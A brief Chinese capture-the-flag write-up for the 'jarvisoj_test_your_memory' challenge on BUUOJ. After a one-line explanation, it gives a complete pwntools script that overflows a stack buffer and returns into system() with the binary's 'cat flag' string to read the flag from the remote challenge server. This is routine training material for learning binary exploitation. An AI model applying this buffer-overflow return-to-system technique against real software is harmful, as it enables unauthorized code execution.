jarvisoj_test_your_memory

有溢出有system 有cat flag这样照着写就好了

点击查看代码

from pwn import *
io=remote("node4.buuoj.cn",25742)
elf=ELF("./memory")
sys_addr=elf.sym['system']
cat_addr=elf.search('cat flag').next()
payload='a'*(0x13+0x4)+p32(sys_addr)+p32(elf.sym['mem_test'])+p32(cat_addr)
io.sendline(payload)
io.interactive()